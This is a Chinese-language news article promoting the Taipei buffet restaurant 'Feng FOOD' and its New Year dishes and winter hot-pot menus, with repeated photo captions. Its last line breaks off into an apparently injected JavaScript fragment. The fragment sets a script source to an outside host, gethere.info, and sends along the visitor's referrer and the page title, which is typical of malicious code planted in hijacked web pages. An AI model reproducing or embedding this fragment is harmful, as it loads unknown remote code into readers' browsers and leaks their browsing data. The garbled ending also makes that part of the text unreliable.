開幕不到半年的人氣吃到飽餐廳「豐FOOD」,繼12月聖誕節推出火雞吃到飽大受歡迎後,接下來也特別針對消費者喜好,規劃每月及節令菜色的主題。一月適逢過年期間,推出慶豐收、開運福來佛跳牆、雞祥富貴等應景年菜;二月則是有薑母鴨、清燉蔬果羊肉爐,以及異國風的人蔘燉烏雞、肉骨茶,椰仁燉土雞,預計再掀起一波吃到飽嚐鮮熱潮。

業者表示,一月年節氣份濃厚,順勢推出多款過年吉祥菜色,像是過年必吃的「年年有餘」,以新鮮石斑魚加紹興酒增添風味,蒸熟後淋上魚露與蔥絲,肉質鮮美珍貴、營養價值高;「鴻圖大展」則是用南美阿根廷野生大蝦,並以零下45℃急速冷凍保存,保持最佳鮮度,肉質綿密且鮮甜不膩,油炸鎖住甜味再拌炒特製椒鹽。另外還有綜合生魚片、握壽司、烤鴨、現切牛排等,也都是必嚐的美食。

 

▲過年餐桌上必定出現的雞鴨魚肉,吃到飽餐廳也在一月應景推出。(圖/記者陳致宇攝)

▲過年餐桌上必定出現的雞鴨魚肉,吃到飽餐廳也在一月應景推出。(圖/記者陳致宇攝)

 

▲除了新菜色之外,多款蟹類、白蝦、生蠔、淡菜等豪華海鮮組同樣也是無限取用。(圖/記者陳致宇攝)

▲除了新菜色之外,多款蟹類、白蝦、生蠔、淡菜等豪華海鮮組同樣也是無限取用。(圖/記者陳致宇攝)

而台灣人愛吃鍋,在二月則是準備一系列冬令進補鍋,有台灣人冬季喜愛的薑母鴨、清燉蔬果羊肉爐、藥膳當歸土虱,另外也推出泰式椰仁燉土雞、韓式高麗人蔘燉烏雞、新加坡必吃肉骨茶等異國風味鍋物。甜品則是推薦枸杞紅棗銀耳湯,以枸杞與紅棗燉煮白木耳,屬於營養成分高的滋補佳品,具有美容養顏的功效。

 

▲二月則是準備一系列冬令進補鍋。(圖/記者陳致宇攝)

▲二月則是準備一系列冬令進補鍋。(圖/記者陳致宇攝)

豐FOOD號稱台北市規模最大吃到飽餐廳,挑高9米的用餐環境有600個座位,有超過200道菜色無限享用另外還能無限暢飲法國紅酒、西班牙白酒、台灣啤酒、威士忌蘇打等酒類。s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + “;